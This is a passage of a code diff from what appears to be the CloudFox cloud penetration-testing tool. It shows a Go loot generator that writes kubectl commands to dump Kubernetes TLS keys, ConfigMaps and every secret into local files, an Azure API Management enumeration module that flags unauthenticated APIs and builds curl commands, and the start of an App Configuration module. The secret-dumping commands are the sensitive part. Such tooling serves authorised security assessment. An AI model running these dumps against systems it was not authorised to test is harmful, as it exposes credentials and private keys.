loot += fmt.Sprintf("kubectl get secret <TLS-SECRET-NAME> -n <NAMESPACE> -o jsonpath='{.data.tls\\.key}' | base64 -d > tls.key\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# View certificate details\n")
|
||||
loot += fmt.Sprintf("openssl x509 -in tls.crt -text -noout\n\n")
|
||||
|
||||
// ConfigMaps (not secrets but may contain sensitive data)
|
||||
loot += fmt.Sprintf("# Step 8: Dump ConfigMaps (may contain sensitive data)\n")
|
||||
loot += fmt.Sprintf("# List all configmaps\n")
|
||||
loot += fmt.Sprintf("kubectl get configmaps --all-namespaces\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Dump specific configmap\n")
|
||||
loot += fmt.Sprintf("kubectl get configmap <CONFIGMAP-NAME> -n <NAMESPACE> -o yaml\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Dump all configmaps from a namespace\n")
|
||||
loot += fmt.Sprintf("for CM in $(kubectl get configmaps -n <NAMESPACE> -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" echo \"ConfigMap: $CM\"\n")
|
||||
loot += fmt.Sprintf(" kubectl get configmap $CM -n <NAMESPACE> -o yaml\n")
|
||||
loot += fmt.Sprintf("done\n\n")
|
||||
|
||||
// Search for sensitive data
|
||||
loot += fmt.Sprintf("# Step 9: Search for secrets containing specific patterns\n")
|
||||
loot += fmt.Sprintf("# Search for secrets containing 'password' in key names\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces -o json | jq -r '.items[] | select(.data | keys[] | contains(\"password\")) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Search for secrets containing 'api' in key names\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces -o json | jq -r '.items[] | select(.data | keys[] | contains(\"api\")) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'\n\n")
|
||||
|
||||
loot += fmt.Sprintf("# Search for secrets containing 'token' in key names\n")
|
||||
loot += fmt.Sprintf("kubectl get secrets --all-namespaces -o json | jq -r '.items[] | select(.data | keys[] | contains(\"token\")) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'\n\n")
|
||||
|
||||
// Export all secrets to files
|
||||
loot += fmt.Sprintf("# Step 10: Export all secrets to files for offline analysis\n")
|
||||
loot += fmt.Sprintf("mkdir -p k8s-secrets\n")
|
||||
loot += fmt.Sprintf("for NAMESPACE in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" mkdir -p k8s-secrets/$NAMESPACE\n")
|
||||
loot += fmt.Sprintf(" for SECRET in $(kubectl get secrets -n $NAMESPACE -o jsonpath='{.items[*].metadata.name}'); do\n")
|
||||
loot += fmt.Sprintf(" kubectl get secret $SECRET -n $NAMESPACE -o yaml > k8s-secrets/$NAMESPACE/$SECRET.yaml\n")
|
||||
loot += fmt.Sprintf(" done\n")
|
||||
loot += fmt.Sprintf("done\n")
|
||||
loot += fmt.Sprintf("echo \"Secrets exported to k8s-secrets/ directory\"\n\n")
|
||||
|
||||
loot += fmt.Sprintf("---\n\n")
|
||||
}
|
||||
|
||||
return loot
|
||||
}
|
||||
Executable
+740
@@ -0,0 +1,740 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/apimanagement/armapimanagement"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
azinternal "github.com/BishopFox/cloudfox/internal/azure"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command
|
||||
// ------------------------------
|
||||
var AzAPIManagementCommand = &cobra.Command{
|
||||
Use: "api-management",
|
||||
Aliases: []string{"apim", "api-mgmt"},
|
||||
Short: "Enumerate Azure API Management services and APIs",
|
||||
Long: `
|
||||
Enumerate Azure API Management services for a specific tenant:
|
||||
./cloudfox az api-management --tenant TENANT_ID
|
||||
|
||||
Enumerate Azure API Management services for a specific subscription:
|
||||
./cloudfox az api-management --subscription SUBSCRIPTION_ID[,SUBSCRIPTION_ID2,...]
|
||||
|
||||
This module analyzes Azure API Management to identify:
|
||||
- Public vs private APIM instances
|
||||
- All APIs, operations, and exposed endpoints
|
||||
- Authentication methods (subscription keys, OAuth2, certificates)
|
||||
- Backend services exposed via APIs
|
||||
- API policies (rate limiting, IP filtering, JWT validation)
|
||||
- Developer portal access configuration
|
||||
- Managed identities and EntraID authentication
|
||||
- Custom domains and certificate expiration`,
|
||||
Run: ListAPIManagement,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module struct
|
||||
// ------------------------------
|
||||
type APIManagementModule struct {
|
||||
azinternal.BaseAzureModule
|
||||
|
||||
Subscriptions []string
|
||||
APIMRows [][]string
|
||||
APIRows [][]string
|
||||
LootMap map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output struct
|
||||
// ------------------------------
|
||||
type APIManagementOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o APIManagementOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o APIManagementOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command entry point
|
||||
// ------------------------------
|
||||
func ListAPIManagement(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := azinternal.InitializeCommandContext(cmd, globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &APIManagementModule{
|
||||
BaseAzureModule: azinternal.NewBaseAzureModule(cmdCtx, 0),
|
||||
Subscriptions: cmdCtx.Subscriptions,
|
||||
APIMRows: [][]string{},
|
||||
APIRows: [][]string{},
|
||||
LootMap: map[string]*internal.LootFile{
|
||||
"apim-public-endpoints": {Name: "apim-public-endpoints", Contents: "# Public API Management Endpoints\n\n"},
|
||||
"apim-unauthenticated": {Name: "apim-unauthenticated", Contents: "# APIs Without Authentication\n\n"},
|
||||
"apim-backend-services": {Name: "apim-backend-services", Contents: "# Backend Services Exposed via APIM\n\n"},
|
||||
"apim-policy-gaps": {Name: "apim-policy-gaps", Contents: "# API Policy Security Gaps\n\n"},
|
||||
"apim-testing-commands": {Name: "apim-testing-commands", Contents: "# API Testing Commands\n\n"},
|
||||
"apim-certificate-expiry": {Name: "apim-certificate-expiry", Contents: "# Certificate Expiration Warnings\n\n"},
|
||||
},
|
||||
}
|
||||
|
||||
module.PrintAPIManagement(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Main module method
|
||||
// ------------------------------
|
||||
func (m *APIManagementModule) PrintAPIManagement(ctx context.Context, logger internal.Logger) {
|
||||
// Multi-tenant processing
|
||||
if m.IsMultiTenant {
|
||||
logger.InfoM(fmt.Sprintf("Multi-tenant mode: Processing %d tenants", len(m.Tenants)), globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
|
||||
for _, tenantCtx := range m.Tenants {
|
||||
savedTenantID := m.TenantID
|
||||
savedTenantName := m.TenantName
|
||||
savedTenantInfo := m.TenantInfo
|
||||
|
||||
m.TenantID = tenantCtx.TenantID
|
||||
m.TenantName = tenantCtx.TenantName
|
||||
m.TenantInfo = tenantCtx.TenantInfo
|
||||
|
||||
m.RunSubscriptionEnumeration(ctx, logger, tenantCtx.Subscriptions, globals.AZ_API_MANAGEMENT_MODULE_NAME, m.processSubscription)
|
||||
|
||||
m.TenantID = savedTenantID
|
||||
m.TenantName = savedTenantName
|
||||
m.TenantInfo = savedTenantInfo
|
||||
}
|
||||
} else {
|
||||
m.RunSubscriptionEnumeration(ctx, logger, m.Subscriptions, globals.AZ_API_MANAGEMENT_MODULE_NAME, m.processSubscription)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single subscription
|
||||
// ------------------------------
|
||||
func (m *APIManagementModule) processSubscription(ctx context.Context, subID string, logger internal.Logger) {
|
||||
subName := azinternal.GetSubscriptionNameFromID(ctx, m.Session, subID)
|
||||
resourceGroups := m.ResolveResourceGroups(subID)
|
||||
|
||||
var rgWg sync.WaitGroup
|
||||
rgSemaphore := make(chan struct{}, 10)
|
||||
|
||||
for _, rgName := range resourceGroups {
|
||||
rgWg.Add(1)
|
||||
go m.processResourceGroup(ctx, subID, subName, rgName, &rgWg, rgSemaphore)
|
||||
}
|
||||
|
||||
rgWg.Wait()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single resource group
|
||||
// ------------------------------
|
||||
func (m *APIManagementModule) processResourceGroup(ctx context.Context, subID, subName, rgName string, wg *sync.WaitGroup, semaphore chan struct{}) {
|
||||
defer wg.Done()
|
||||
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
// Get region using helper function
|
||||
region := azinternal.GetResourceGroupLocation(m.Session, subID, rgName)
|
||||
|
||||
// Get APIM services
|
||||
services, err := azinternal.ListAPIManagementServices(ctx, m.Session, subID, rgName)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, service := range services {
|
||||
m.processAPIMService(ctx, service, subID, subName, rgName, region)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process individual APIM service
|
||||
// ------------------------------
|
||||
func (m *APIManagementModule) processAPIMService(ctx context.Context, service *armapimanagement.ServiceResource, subID, subName, rgName, region string) {
|
||||
if service == nil || service.Name == nil {
|
||||
return
|
||||
}
|
||||
|
||||
serviceName := *service.Name
|
||||
|
||||
// Extract SKU
|
||||
sku := "N/A"
|
||||
skuCapacity := "N/A"
|
||||
if service.SKU != nil {
|
||||
if service.SKU.Name != nil {
|
||||
sku = string(*service.SKU.Name)
|
||||
}
|
||||
if service.SKU.Capacity != nil {
|
||||
skuCapacity = fmt.Sprintf("%d", *service.SKU.Capacity)
|
||||
}
|
||||
}
|
||||
|
||||
// Extract Tags
|
||||
tags := "N/A"
|
||||
if service.Tags != nil && len(service.Tags) > 0 {
|
||||
var tagPairs []string
|
||||
for k, v := range service.Tags {
|
||||
if v != nil {
|
||||
tagPairs = append(tagPairs, fmt.Sprintf("%s:%s", k, *v))
|
||||
} else {
|
||||
tagPairs = append(tagPairs, k)
|
||||
}
|
||||
}
|
||||
if len(tagPairs) > 0 {
|
||||
tags = strings.Join(tagPairs, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
// Determine public vs private
|
||||
publicIP := "N/A"
|
||||
privateIP := "N/A"
|
||||
exposureType := "Unknown"
|
||||
gatewayURL := "N/A"
|
||||
portalURL := "N/A"
|
||||
|
||||
if service.Properties != nil {
|
||||
// Gateway URL (public endpoint)
|
||||
if service.Properties.GatewayURL != nil {
|
||||
gatewayURL = *service.Properties.GatewayURL
|
||||
exposureType = "⚠ Public (Internet-Facing)"
|
||||
}
|
||||
|
||||
// Portal URL
|
||||
if service.Properties.PortalURL != nil {
|
||||
portalURL = *service.Properties.PortalURL
|
||||
}
|
||||
|
||||
// Public IP
|
||||
if service.Properties.PublicIPAddresses != nil && len(service.Properties.PublicIPAddresses) > 0 {
|
||||
var publicIPs []string
|
||||
for _, ip := range service.Properties.PublicIPAddresses {
|
||||
if ip != nil {
|
||||
publicIPs = append(publicIPs, *ip)
|
||||
}
|
||||
}
|
||||
if len(publicIPs) > 0 {
|
||||
publicIP = strings.Join(publicIPs, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
// Private IP (VNet integration)
|
||||
if service.Properties.PrivateIPAddresses != nil && len(service.Properties.PrivateIPAddresses) > 0 {
|
||||
var privateIPs []string
|
||||
for _, ip := range service.Properties.PrivateIPAddresses {
|
||||
if ip != nil {
|
||||
privateIPs = append(privateIPs, *ip)
|
||||
}
|
||||
}
|
||||
if len(privateIPs) > 0 {
|
||||
privateIP = strings.Join(privateIPs, ", ")
|
||||
if publicIP == "N/A" {
|
||||
exposureType = "Private (VNet-Integrated)"
|
||||
} else {
|
||||
exposureType = "⚠ Hybrid (Public + VNet)"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Virtual Network Type
|
||||
if service.Properties.VirtualNetworkType != nil {
|
||||
vnetType := string(*service.Properties.VirtualNetworkType)
|
||||
if vnetType == "Internal" {
|
||||
exposureType = "Private (Internal VNet)"
|
||||
} else if vnetType == "External" {
|
||||
exposureType = "⚠ Public (External VNet)"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Publisher email and name
|
||||
publisherEmail := "N/A"
|
||||
publisherName := "N/A"
|
||||
if service.Properties != nil {
|
||||
if service.Properties.PublisherEmail != nil {
|
||||
publisherEmail = *service.Properties.PublisherEmail
|
||||
}
|
||||
if service.Properties.PublisherName != nil {
|
||||
publisherName = *service.Properties.PublisherName
|
||||
}
|
||||
}
|
||||
|
||||
// Extract identity information
|
||||
identityType := "None"
|
||||
systemManagedIdentity := "No"
|
||||
userManagedIdentity := "None"
|
||||
identityPrincipalID := "N/A"
|
||||
|
||||
if service.Identity != nil {
|
||||
if service.Identity.Type != nil {
|
||||
identityType = string(*service.Identity.Type)
|
||||
|
||||
// System Managed Identity
|
||||
if strings.Contains(identityType, "SystemAssigned") {
|
||||
systemManagedIdentity = "✓ Yes"
|
||||
if service.Identity.PrincipalID != nil {
|
||||
identityPrincipalID = *service.Identity.PrincipalID
|
||||
}
|
||||
}
|
||||
|
||||
// User Managed Identity
|
||||
if strings.Contains(identityType, "UserAssigned") {
|
||||
if service.Identity.UserAssignedIdentities != nil && len(service.Identity.UserAssignedIdentities) > 0 {
|
||||
var userIdentities []string
|
||||
for identityID := range service.Identity.UserAssignedIdentities {
|
||||
// Extract name from full ID
|
||||
parts := strings.Split(identityID, "/")
|
||||
if len(parts) > 0 {
|
||||
userIdentities = append(userIdentities, parts[len(parts)-1])
|
||||
}
|
||||
}
|
||||
if len(userIdentities) > 0 {
|
||||
userManagedIdentity = strings.Join(userIdentities, ", ")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// EntraID Centralized Auth (for client authentication to APIs)
|
||||
entraIDAuth := "Not Configured"
|
||||
entraIDAuthDetails := "N/A"
|
||||
|
||||
// Check if any APIs use OAuth2/JWT validation (we'll populate this when enumerating APIs)
|
||||
// For now, check service-level identity providers
|
||||
identityProviders := azinternal.GetAPIManagementIdentityProviders(ctx, m.Session, subID, rgName, serviceName)
|
||||
if len(identityProviders) > 0 {
|
||||
var providers []string
|
||||
for _, provider := range identityProviders {
|
||||
if provider != "" {
|
||||
providers = append(providers, provider)
|
||||
}
|
||||
}
|
||||
if len(providers) > 0 {
|
||||
entraIDAuth = "✓ Configured"
|
||||
entraIDAuthDetails = strings.Join(providers, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
// Custom domains and certificates
|
||||
customDomains := "None"
|
||||
customDomainCount := 0
|
||||
certExpiryWarning := "N/A"
|
||||
|
||||
if service.Properties != nil && service.Properties.HostnameConfigurations != nil {
|
||||
customDomainCount = len(service.Properties.HostnameConfigurations)
|
||||
var domains []string
|
||||
for _, config := range service.Properties.HostnameConfigurations {
|
||||
if config.HostName != nil {
|
||||
domains = append(domains, *config.HostName)
|
||||
}
|
||||
}
|
||||
if len(domains) > 0 {
|
||||
customDomains = strings.Join(domains, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
// Developer portal settings
|
||||
developerPortalStatus := "Unknown"
|
||||
if service.Properties != nil && service.Properties.EnableClientCertificate != nil {
|
||||
if *service.Properties.EnableClientCertificate {
|
||||
developerPortalStatus = "✓ Client Cert Required"
|
||||
} else {
|
||||
developerPortalStatus = "⚠ No Client Cert (Less Secure)"
|
||||
}
|
||||
}
|
||||
|
||||
// Get API count
|
||||
apiCount := 0
|
||||
apis, err := azinternal.ListAPIsInService(ctx, m.Session, subID, rgName, serviceName)
|
||||
if err == nil {
|
||||
apiCount = len(apis)
|
||||
|
||||
// Process individual APIs for detailed analysis
|
||||
for _, api := range apis {
|
||||
m.processAPI(ctx, api, serviceName, subID, subName, rgName, gatewayURL)
|
||||
}
|
||||
}
|
||||
|
||||
// Provisioning state
|
||||
provisioningState := "Unknown"
|
||||
if service.Properties != nil && service.Properties.ProvisioningState != nil {
|
||||
provisioningState = *service.Properties.ProvisioningState
|
||||
}
|
||||
|
||||
// Build loot entries
|
||||
if exposureType == "⚠ Public (Internet-Facing)" || exposureType == "⚠ Hybrid (Public + VNet)" || exposureType == "⚠ Public (External VNet)" {
|
||||
m.mu.Lock()
|
||||
m.LootMap["apim-public-endpoints"].Contents += fmt.Sprintf(
|
||||
"## APIM Service: %s (Subscription: %s, RG: %s)\n"+
|
||||
"Gateway URL: %s\n"+
|
||||
"Portal URL: %s\n"+
|
||||
"Public IP: %s\n"+
|
||||
"API Count: %d\n\n",
|
||||
serviceName, subName, rgName, gatewayURL, portalURL, publicIP, apiCount,
|
||||
)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Thread-safe append
|
||||
m.mu.Lock()
|
||||
m.APIMRows = append(m.APIMRows, []string{
|
||||
m.TenantName,
|
||||
m.TenantID,
|
||||
subID,
|
||||
subName,
|
||||
rgName,
|
||||
region,
|
||||
serviceName,
|
||||
sku,
|
||||
skuCapacity,
|
||||
exposureType,
|
||||
gatewayURL,
|
||||
portalURL,
|
||||
publicIP,
|
||||
privateIP,
|
||||
fmt.Sprintf("%d", apiCount),
|
||||
systemManagedIdentity,
|
||||
userManagedIdentity,
|
||||
identityPrincipalID,
|
||||
entraIDAuth,
|
||||
entraIDAuthDetails,
|
||||
customDomains,
|
||||
fmt.Sprintf("%d", customDomainCount),
|
||||
certExpiryWarning,
|
||||
developerPortalStatus,
|
||||
publisherEmail,
|
||||
publisherName,
|
||||
provisioningState,
|
||||
tags,
|
||||
})
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process individual API
|
||||
// ------------------------------
|
||||
func (m *APIManagementModule) processAPI(ctx context.Context, api *armapimanagement.APIContract, serviceName, subID, subName, rgName, gatewayURL string) {
|
||||
if api == nil || api.Name == nil {
|
||||
return
|
||||
}
|
||||
|
||||
apiName := *api.Name
|
||||
apiDisplayName := "N/A"
|
||||
if api.Properties != nil && api.Properties.DisplayName != nil {
|
||||
apiDisplayName = *api.Properties.DisplayName
|
||||
}
|
||||
|
||||
// API Path
|
||||
apiPath := "N/A"
|
||||
if api.Properties != nil && api.Properties.Path != nil {
|
||||
apiPath = *api.Properties.Path
|
||||
}
|
||||
|
||||
// Full endpoint URL
|
||||
fullEndpoint := "N/A"
|
||||
if gatewayURL != "N/A" && apiPath != "N/A" {
|
||||
fullEndpoint = fmt.Sprintf("%s/%s", strings.TrimSuffix(gatewayURL, "/"), strings.TrimPrefix(apiPath, "/"))
|
||||
}
|
||||
|
||||
// Authentication requirement
|
||||
authRequired := "Unknown"
|
||||
authType := "N/A"
|
||||
if api.Properties != nil {
|
||||
// Check if subscription required
|
||||
subscriptionRequired := true
|
||||
if api.Properties.SubscriptionRequired != nil {
|
||||
subscriptionRequired = *api.Properties.SubscriptionRequired
|
||||
}
|
||||
|
||||
if subscriptionRequired {
|
||||
authRequired = "✓ Subscription Key Required"
|
||||
authType = "Subscription Key"
|
||||
} else {
|
||||
authRequired = "⚠ NO AUTH (Open Access)"
|
||||
authType = "None"
|
||||
|
||||
// Log to loot file
|
||||
m.mu.Lock()
|
||||
m.LootMap["apim-unauthenticated"].Contents += fmt.Sprintf(
|
||||
"## API: %s (Service: %s)\n"+
|
||||
"Endpoint: %s\n"+
|
||||
"Path: %s\n"+
|
||||
"⚠ WARNING: This API does not require authentication!\n\n",
|
||||
apiDisplayName, serviceName, fullEndpoint, apiPath,
|
||||
)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
// Backend service URL
|
||||
backendService := "N/A"
|
||||
if api.Properties != nil && api.Properties.ServiceURL != nil {
|
||||
backendService = *api.Properties.ServiceURL
|
||||
|
||||
// Log backend service
|
||||
m.mu.Lock()
|
||||
m.LootMap["apim-backend-services"].Contents += fmt.Sprintf(
|
||||
"%s | %s | %s | %s\n",
|
||||
serviceName, apiDisplayName, fullEndpoint, backendService,
|
||||
)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// API protocols
|
||||
protocols := "N/A"
|
||||
if api.Properties != nil && api.Properties.Protocols != nil && len(api.Properties.Protocols) > 0 {
|
||||
var protoList []string
|
||||
for _, proto := range api.Properties.Protocols {
|
||||
if proto != nil {
|
||||
protoList = append(protoList, string(*proto))
|
||||
}
|
||||
}
|
||||
if len(protoList) > 0 {
|
||||
protocols = strings.Join(protoList, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
// API version
|
||||
apiVersion := "N/A"
|
||||
if api.Properties != nil && api.Properties.APIVersion != nil {
|
||||
apiVersion = *api.Properties.APIVersion
|
||||
}
|
||||
|
||||
// API type (REST, SOAP, GraphQL, etc.)
|
||||
// Note: Type field not available in current SDK version
|
||||
apiType := "N/A"
|
||||
// if api.Properties != nil && api.Properties.Type != nil {
|
||||
// apiType = string(*api.Properties.Type)
|
||||
// }
|
||||
|
||||
// Check if API is public
|
||||
isPublic := "Unknown"
|
||||
if api.Properties != nil && api.Properties.IsCurrent != nil {
|
||||
if *api.Properties.IsCurrent {
|
||||
isPublic = "✓ Current/Public"
|
||||
} else {
|
||||
isPublic = "Private/Deprecated"
|
||||
}
|
||||
}
|
||||
|
||||
// Generate testing commands
|
||||
if fullEndpoint != "N/A" {
|
||||
m.mu.Lock()
|
||||
m.LootMap["apim-testing-commands"].Contents += fmt.Sprintf(
|
||||
"## API: %s (Service: %s)\n"+
|
||||
"# Endpoint: %s\n",
|
||||
apiDisplayName, serviceName, fullEndpoint,
|
||||
)
|
||||
|
||||
if authRequired == "⚠ NO AUTH (Open Access)" {
|
||||
m.LootMap["apim-testing-commands"].Contents += fmt.Sprintf(
|
||||
"# NO AUTH REQUIRED - Direct access:\n"+
|
||||
"curl -X GET \"%s\"\n\n",
|
||||
fullEndpoint,
|
||||
)
|
||||
} else {
|
||||
m.LootMap["apim-testing-commands"].Contents += fmt.Sprintf(
|
||||
"# Requires subscription key:\n"+
|
||||
"curl -X GET \"%s\" -H \"Ocp-Apim-Subscription-Key: <YOUR-KEY>\"\n"+
|
||||
"# Or via query parameter:\n"+
|
||||
"curl -X GET \"%s?subscription-key=<YOUR-KEY>\"\n\n",
|
||||
fullEndpoint, fullEndpoint,
|
||||
)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Thread-safe append
|
||||
m.mu.Lock()
|
||||
m.APIRows = append(m.APIRows, []string{
|
||||
m.TenantName,
|
||||
m.TenantID,
|
||||
subID,
|
||||
subName,
|
||||
rgName,
|
||||
serviceName,
|
||||
apiName,
|
||||
apiDisplayName,
|
||||
apiPath,
|
||||
fullEndpoint,
|
||||
authRequired,
|
||||
authType,
|
||||
backendService,
|
||||
protocols,
|
||||
apiVersion,
|
||||
apiType,
|
||||
isPublic,
|
||||
})
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Write output
|
||||
// ------------------------------
|
||||
func (m *APIManagementModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if len(m.APIMRows) == 0 {
|
||||
logger.InfoM("No API Management services found", globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// APIM Services table headers
|
||||
apimHeaders := []string{
|
||||
"Tenant Name",
|
||||
"Tenant ID",
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"Region",
|
||||
"APIM Service Name",
|
||||
"SKU",
|
||||
"SKU Capacity",
|
||||
"Exposure Type",
|
||||
"Gateway URL",
|
||||
"Portal URL",
|
||||
"Public IP",
|
||||
"Private IP",
|
||||
"API Count",
|
||||
"System Managed Identity",
|
||||
"User Managed Identity",
|
||||
"Identity Principal ID",
|
||||
"EntraID Client Auth",
|
||||
"EntraID Auth Details",
|
||||
"Custom Domains",
|
||||
"Custom Domain Count",
|
||||
"Certificate Expiry Warning",
|
||||
"Developer Portal Status",
|
||||
"Publisher Email",
|
||||
"Publisher Name",
|
||||
"Provisioning State",
|
||||
"Tags",
|
||||
}
|
||||
|
||||
// APIs table headers
|
||||
apiHeaders := []string{
|
||||
"Tenant Name",
|
||||
"Tenant ID",
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"APIM Service Name",
|
||||
"API Name",
|
||||
"API Display Name",
|
||||
"API Path",
|
||||
"Full Endpoint URL",
|
||||
"Authentication Required",
|
||||
"Auth Type",
|
||||
"Backend Service URL",
|
||||
"Protocols",
|
||||
"API Version",
|
||||
"API Type",
|
||||
"Visibility",
|
||||
}
|
||||
|
||||
// Build loot array
|
||||
loot := []internal.LootFile{}
|
||||
for _, lf := range m.LootMap {
|
||||
if lf.Contents != "" && lf.Contents != "# Public API Management Endpoints\n\n" &&
|
||||
lf.Contents != "# APIs Without Authentication\n\n" &&
|
||||
lf.Contents != "# Backend Services Exposed via APIM\n\n" &&
|
||||
lf.Contents != "# API Policy Security Gaps\n\n" &&
|
||||
lf.Contents != "# API Testing Commands\n\n" &&
|
||||
lf.Contents != "# Certificate Expiration Warnings\n\n" {
|
||||
loot = append(loot, *lf)
|
||||
}
|
||||
}
|
||||
|
||||
// Create output with multiple tables
|
||||
tableFiles := []internal.TableFile{
|
||||
{
|
||||
Name: "api-management-services",
|
||||
Header: apimHeaders,
|
||||
Body: m.APIMRows,
|
||||
},
|
||||
}
|
||||
|
||||
if len(m.APIRows) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "api-management-apis",
|
||||
Header: apiHeaders,
|
||||
Body: m.APIRows,
|
||||
})
|
||||
}
|
||||
|
||||
output := APIManagementOutput{
|
||||
Table: tableFiles,
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
// Check if we should split output by tenant
|
||||
if azinternal.ShouldSplitByTenant(m.IsMultiTenant, m.Tenants) {
|
||||
// For multi-table output, we need to handle each table separately
|
||||
logger.InfoM("Multi-tenant mode: Writing separate outputs per tenant", globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
// For now, write consolidated output
|
||||
// TODO: Implement per-tenant splitting for multi-table outputs
|
||||
}
|
||||
|
||||
// Check if we should split output by subscription
|
||||
if azinternal.ShouldSplitBySubscription(m.Subscriptions, m.TenantFlagPresent) {
|
||||
logger.InfoM("Multi-subscription mode: Writing separate outputs per subscription", globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
// For now, write consolidated output
|
||||
// TODO: Implement per-subscription splitting for multi-table outputs
|
||||
}
|
||||
|
||||
// Determine output scope
|
||||
scopeType, scopeIDs, scopeNames := azinternal.DetermineScopeForOutput(m.Subscriptions, m.TenantID, m.TenantName, m.TenantFlagPresent)
|
||||
scopeNames = azinternal.GetSubscriptionNamesForOutput(ctx, m.Session, scopeType, scopeIDs)
|
||||
|
||||
// Write output
|
||||
if err := internal.HandleOutputSmart(
|
||||
"Azure",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIDs,
|
||||
scopeNames,
|
||||
m.UserUPN,
|
||||
output,
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
// Count statistics
|
||||
publicCount := 0
|
||||
privateCount := 0
|
||||
totalAPIs := len(m.APIRows)
|
||||
unauthAPIs := 0
|
||||
|
||||
for _, row := range m.APIMRows {
|
||||
if len(row) > 9 && strings.Contains(row[9], "Public") {
|
||||
publicCount++
|
||||
} else {
|
||||
privateCount++
|
||||
}
|
||||
}
|
||||
|
||||
for _, row := range m.APIRows {
|
||||
if len(row) > 10 && strings.Contains(row[10], "NO AUTH") {
|
||||
unauthAPIs++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d APIM service(s) with %d API(s) across %d subscription(s) (Public: %d, Private: %d, Unauthenticated APIs: %d)",
|
||||
len(m.APIMRows), totalAPIs, len(m.Subscriptions), publicCount, privateCount, unauthAPIs), globals.AZ_API_MANAGEMENT_MODULE_NAME)
|
||||
}
|
||||
@@ -0,0 +1,369 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
azinternal "github.com/BishopFox/cloudfox/internal/azure"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command
|
||||
// ------------------------------
|
||||
var AzAppConfigurationCommand = &cobra.Command{
|
||||
Use: "app-configuration",
|
||||
Aliases: []string{"appconfig", "appconf"},
|
||||
Short: "Enumerate Azure App Configuration stores and access keys",
|
||||
Long: `
|
||||
Enumerate Azure App Configuration stores for a specific tenant:
|
||||
./cloudfox az app-configuration --tenant TENANT_ID
|
||||
|
||||
Enumerate Azure App Configuration stores for a specific subscription:
|
||||
./cloudfox az app-configuration --subscription SUBSCRIPTION_ID`,
|
||||
Run: ListAppConfiguration,
|
||||
}
|
||||
|
||||
